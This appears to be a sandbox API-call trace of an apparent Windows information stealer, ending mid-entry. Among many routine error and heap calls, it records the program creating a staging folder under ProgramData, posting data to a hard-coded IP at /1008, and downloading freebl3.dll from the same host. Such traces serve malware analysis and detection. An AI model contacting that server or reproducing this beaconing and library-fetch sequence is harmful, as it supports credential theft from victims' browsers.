GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.072] SetLastError (dwErrCode=0x0) [0139.072] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.073] SetLastError (dwErrCode=0x0) [0139.073] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.074] GetLastError () returned 0x0 [0139.074] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.075] SetLastError (dwErrCode=0x0) [0139.075] GetLastError () returned 0x0 [0139.076] SetLastError (dwErrCode=0x0) [0139.082] GetLastError () returned 0x0 [0139.082] SetLastError (dwErrCode=0x0) [0139.083] GetLastError () returned 0x0 [0139.083] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.097] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.097] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.097] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.097] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.097] SetLastError (dwErrCode=0x0) [0139.097] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.098] SetLastError (dwErrCode=0x0) [0139.098] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361018 [0139.099] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] GetLastError () returned 0x0 [0139.099] SetLastError (dwErrCode=0x0) [0139.099] GetLastError () returned 0x0 [0139.100] SetLastError (dwErrCode=0x0) [0139.100] GetLastError () returned 0x0 [0139.100] SetLastError (dwErrCode=0x0) [0139.100] GetLastError () returned 0x0 [0139.100] SetLastError (dwErrCode=0x0) [0139.100] GetLastError () returned 0x0 [0139.100] SetLastError (dwErrCode=0x0) [0139.100] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360fd0 | out: hHeap=0x2360000) returned 1 [0139.106] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360fd0 [0139.106] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x"), lpSecurityAttributes=0x0) returned 1 [0139.171] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x")) returned 1 [0139.171] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361040 [0139.171] CreateDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files"), lpSecurityAttributes=0x0) returned 1 [0139.172] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.181] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x7a120) returned 0x3240048 [0139.197] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.204] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0139.204] GetLastError () returned 0x0 [0139.204] SetLastError (dwErrCode=0x0) [0139.210] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0139.210] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f624, dwBufferLength=0x4) returned 1 [0139.211] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0139.211] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0139.211] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/1008", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0139.212] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2361090 [0139.212] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0139.212] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0139.212] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0139.212] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0139.212] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361090 | out: hHeap=0x2360000) returned 1 [0139.212] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2361090 [0139.213] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x23610c8 [0139.213] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361090 | out: hHeap=0x2360000) returned 1 [0139.213] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0139.213] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 25", dwHeadersLength=0x12, dwModifiers=0x20000000) returned 1 [0139.213] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x3240048*, dwOptionalLength=0x19) returned 1 [0139.517] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0 | out: lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0) returned 0 [0139.517] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x7800) returned 0x2362758 [0139.517] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.518] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2362758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x2362758*, lpdwNumberOfBytesRead=0x19f4a4*=0xba) returned 1 [0139.519] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2362812, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x2362812*, lpdwNumberOfBytesRead=0x19f4a4*=0x0) returned 1 [0139.519] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0 | out: lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0) returned 0 [0139.519] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0139.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610c8 | out: hHeap=0x2360000) returned 1 [0139.519] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0139.519] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0139.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0139.519] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.519] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc0) returned 0x2361040 [0139.519] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.520] SetLastError (dwErrCode=0x0) [0139.520] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x2361108 [0139.521] GetLastError () returned 0x0 [0139.521] SetLastError (dwErrCode=0x0) [0139.521] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0139.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0139.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0139.522] GetLastError () returned 0x0 [0139.522] SetLastError (dwErrCode=0x0) [0139.522] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0139.522] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0139.522] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0139.522] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/freebl3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0139.522] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0139.522] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0139.522] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0139.522] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0139.522] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0139.522] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0139.522] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0139.556] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.556] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2362758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2362758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2362b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2362b40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.560] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2362f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2362f28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2363310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2363310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23636f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23636f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2363ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2363ae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.561] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2363ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2363ec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23642b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23642b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2364698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2364698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.566] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2364a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2364a80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2364e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2364e68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.567] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2365250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2365250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.568] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2365638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2365638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.568] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2365a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2365a20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2365e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2365e08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23661f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23661f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.569] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23665d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23665d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.570] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23669c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23669c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.570] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2366da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2366da8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.571] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2367190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2367190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.571] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2367578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2367578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.571] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2367960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2367960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.572] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2367d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2367d48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.572] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2368130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2368130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2368518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2368518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2368900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2368900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2368ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x2368ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23690d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23690d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.573] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23694b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23694b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.574] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x23698a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x23698a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.574] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf000) returned 0x32ba170 [0139.575] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362758 | out: hHeap=0x2360000) returned 1 [0139.575] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c16a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c16a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c1a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c1a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c1e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c1e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c2258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c2258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c2640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c2640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c2a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c2a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c2e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c2e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c31f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c31f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c35e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c35e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c39c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c39c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c3db0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c3db0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c4198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c4198*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.582] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c4580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c4580*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c4968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c4968*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c4d50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c4d50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.583] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c5138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c5138*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c5520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c5520*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c5908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c5908*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c5cf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c5cf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c60d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c60d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c64c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c64c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c68a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c68a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c6c90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c6c90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0139.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x32c7078, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x32c7078*, 